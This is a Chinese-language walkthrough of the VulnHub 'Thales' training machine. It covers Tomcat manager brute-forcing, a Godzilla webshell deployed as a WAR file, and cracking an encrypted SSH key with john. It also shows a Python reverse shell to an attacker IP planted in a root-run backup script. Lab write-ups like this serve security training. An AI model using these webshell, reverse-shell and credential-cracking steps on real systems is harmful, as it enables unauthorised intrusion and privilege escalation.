**声明:**文章来自作者日常学习笔记,请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。仅供学习研究
靶机信息
下载地址:
https://www.vulnhub.com/entry/thales-1,749/
难度: 简单
发布时间: 2021年10月16日
提示信息:
Description : Open your eyes and change your perspective
includes 2 flags:user.txt and root.txt.
Telegram: @machineboy141 (for any hint)
This works better with VIrtualBox rathe than VMware
译:睁开你的眼睛,改变你的视角
一共有2个flag,user.txt和root.txt
信息收集
扫描主机
nmap -sP 192.168.7.1/24
扫描端口
nmap -sC -sV -p- 192.168.7.247 -oN Thales.nmap
开放22和8080端口,还是先从8080端口开始
Web渗透
8080端口是tomcat版本9.0.52没有可利用的信息,先做个目录扫描
gobuster dir -w ../../Dict/SecLists-2021.4/Discovery/Web-Content/directory-list-2.3-big.txt -u http://192.168.7.247:8080
扫到一个shell目录,但是访问起来非常慢,换条路去暴破密码
密码暴破
打开burpsuite抓包,访问Manager App,输入帐号admin密码123
这里的字符串是base64编码,解出来就是我们刚输入的admin和123,中间加:号
准备暴破,将抓到的包发送到Intruder模块,并在YWRtaW46MTIz添加测试点
有效载荷类型选自定义迭代器
位置1填入tomcat: 为什么填tomcat因为这个默认帐号
位置2加载密码字典Dict/fuzzDicts/passwordDict/Middleware/tomcat-pass.txt这个字典我忘记是群里哪位大佬分享出来的,有需要的小伙伴可以留言给我.
加载后点开始攻击
暴破成功dG9tY2F0OnJvbGUx我们用base64解一下看密码是什么
帐号tomcat密码role1,有了帐号密码就简单了,上传个webshell
先找个jsp的webshell,这里我用哥斯拉生成一个
生成名为godzilla.jsp的webshell
再将godzilla压缩成zip格式
zip godzilla godzilla.jsp
然后将godzilla.zip后缀名改为war
mv godzilla.zip godzilla.war
现在上传godzilla.war 在登陆后的页面里有一处可以上传部署war包的地方
找到你的webshell,然后点击部署
部署成功后会在管理页面上看到
OK,现在我们用哥斯拉连接吧
添加目标,在URL填入靶机webshell地址
http://192.168.7.247:8080/godzilla/godzilla.jsp
有效载荷选择JavaDynamicPayload
注意密码和密钥要与你生成时填写的一样,之后点测试,出现Success则表示连接成功.
添加后右键点击进入
哥斯拉的终端界面太难看了,还是反弹个shell吧
kali攻击机监听4444端口
nc -lvvp 4444
哥斯拉上命令执行模块中输入python3代码反弹shell
成功反弹
现在切换个完整的交换shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl+Z
stty -a
stty raw -echo;fg
reset
stty rows 26 columns 128
执行后就拿到完整的shell了,现在看下有什么可以提权的
在/home/thales目录下找到notes.txt文件,打开后就一段提示
这是一个备份脚本,进去看看什么内容
cat /usr/local/bin/backup.sh
#!/bin/bash
####################################
#
# Backup to NFS mount script.
#
####################################
# What to backup.
backup_files="/opt/tomcat/"
# Where to backup to.
dest="/var/backups"
# Create archive filename.
day=$(date +%A)
hostname=$(hostname -s)
archive_file="$hostname-$day.tgz"
# Print start status message.
echo "Backing up $backup_files to $dest/$archive_file"
date
echo
# Backup the files using tar.
tar czf $dest/$archive_file $backup_files
# Print end status message.
echo
echo "Backup finished"
date
这个内容看上去是自动执行备份操作用的,我们修改添加反弹shell
修改后的内容
#!/bin/bash
####################################
#
# Backup to NFS mount script.
#
####################################
# What to backup.
backup_files="/opt/tomcat/"
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.7.3",3333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
# Where to backup to.
dest="/var/backups"
# Create archive filename.
day=$(date +%A)
hostname=$(hostname -s)
archive_file="$hostname-$day.tgz"
# Print start status message.
echo "Backing up $backup_files to $dest/$archive_file"
date
echo
# Backup the files using tar.
tar czf $dest/$archive_file $backup_files
# Print end status message.
echo
echo "Backup finished"
date
我们增加了反弹到3333端口的代码,现在kali攻击机上监听3333端口等待吧
nc -lvvp 3333
果然,过了几分钟反弹回来了,并且是root权限
那我们拿提示中的两个flag吧
cat /home/thales/user.txt
cat /root.txt
成功拿到flag
userflag:a837c0b5d2a8a07225fd9905f5a0e9c4
rootflag:3a1c85bebf8833b0ecae900fb8598b17
虽然拿到了flag,但是感觉我少了点东西,就是tomcat提权到thales权限然后再提权到root权限这个步骤,上面操作是tomcat权限直接提到root权限了.
那我们回头看看tomcat如何提权到thales权限
在/home/thales目录下发现了.ssh目录并且里面有rs_ids和id_rsa.pub文件
那就好办了,我们把他下载下来暴破
cat .ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6103FE9ABCD5EF41F96C07F531922AAF
ZMlKhm2S2Cqbj+k3h8MgQFr6oG4CBKqF1NfT04fJPs1xbXe00aSdS+QgIbSaKWMh
+/ILeS/r8rFUt9isW2QAH7JYEWBgR4Z/9KSMSUd1aEyjxz7FpZj2cL1Erj9wK9ZA
InMmkm7xAKOWKwLTJeMS3GB4X9AX9ef/Ijmxx/cvvIauK5G2jPRyGSazMjK0QcwX
pkwnm4EwXPDiktkwzg15RwIhJdZBbrMj7WW9kt0CF9P754mChdIWzHrxYhCUIfWd
rHbDYTKmfL18LYhHaj9ZklkZjb8li8JIPvnJDcnLsCY+6X1xB9dqbUGGtSHNnHiL
rmrOSfI7RYt9gCgMtFimYRaS7gFuvZE/NmmIUJkH3Ccv1mIj3wT1TCtvREv+eKgf
/nj+3A6ZSQKFdlm22YZBilE4npxGOC03s81Rbvg90cxOhxYGTZMu/jU9ebUT2HAh
o1B972ZAWj3m5sDZRiQ+wTGqwFBFxF9EPia6sRM/tBKaigIElDSyvz1C46mLTmBS
f8KNwx5rNXkNM7dYX1Sykg0RreKO1weYAA0yQSHCY+iJTIf81CuDcgOIYRywHIPU
9rI20K910cLLo+ySa7O4KDcmIL1WCnGbrD4PwupQ68G2YG0ZOOIrwE9efkpwXPCR
Vi2TO2Zut8x6ZEFjz4d3aWIzWtf1IugQrsmBK+akRLBPjQVy/LyApqvV+tYfQelV
v9pEKMxR5f1gFmZpTbZ6HDHmEO4Y7gXvUXphjW5uijYemcyGx0HSqCSER7y7+phA
h0NEJHSBSdMpvoS7oSIxC0qe4QsSwITYtJs5fKuvJejRGpoh1O2HE+etITXlFffm
2J1fdQgPo+qbOVSMGmkITfTBDh1ODG7TZYAq8OLyEh/yiALoZ8T1AEeAJev5hON5
PUUP8cxX4SH43lnsmIDjn8M+nEsMEWVZzvaqo6a2Sfa/SEdxq8ZIM1Nm8fLuS8N2
GCrvRmCd7H+KrMIY2Y4QuTFR1etulbBPbmcCmpsXlj496bE7n5WwILLw3Oe4IbZm
ztB5WYAww6yyheLmgU4WkKMx2sOWDWZ/TSEP0j9esOeh2mOt/7Grrhn3xr8zqnCY
i4utbnsjL4U7QVaa+zWz6PNiShH/LEpuRu2lJWZU8mZ7OyUyx9zoPRWEmz/mhOAb
jRMSyfLNFggfzjswgcbwubUrpX2Gn6XMb+MbTY3CRXYqLaGStxUtcpMdpj4QrFLP
eP/3PGXugeJi8anYMxIMc3cJR03EktX5Cj1TQRCjPWGoatOMh02akMHvVrRKGG1d
/sMTTIDrlYlrEAfQXacjQF0gzqxy7jQaUc0k4Vq5iWggjXNV2zbR/YYFwUzgSjSe
SNZzz4AMwRtlCWxrdoD/exvCeKWuObPlajTI3MaUoxPjOvhQK55XWIcg+ogo9X5x
B8XDQ3qW6QJLFELXpAnl5zW5cAHXAVzCp+VtgQyrPU04gkoOrlrj5u22UU8giTdq
nLypW+J5rGepKGrklOP7dxEBbQiy5XDm/K/22r9y+Lwyl38LDF2va22szGoW/oT+
8eZHEOYASwoSKng9UEhNvX/JpsGig5sAamBgG1sV9phyR2Y9MNb/698hHyULD78C
-----END RSA PRIVATE KEY-----
kali攻击机中将内容保存为id_rsa
暴破密码
python3 /usr/share/john/ssh2john.py id_rsa >crack.txt
john crack.txt --wordlist=/usr/share/wordlists/rockyou.txt
轻松拿到密码
现在用vodka06这个密码切换到thales帐号
搞定,后面再通过修改/us/local/bin/backup.sh文件提权到root权限就不演示了.这台靶机还是很简单的.
END
这篇文章到这里就结束了,喜欢打靶的小伙伴可以关注"伏波路上学安全"微信公众号,或扫描下面二维码关注,我会持续更新打靶文章,让我们一起在打靶中学习进步吧.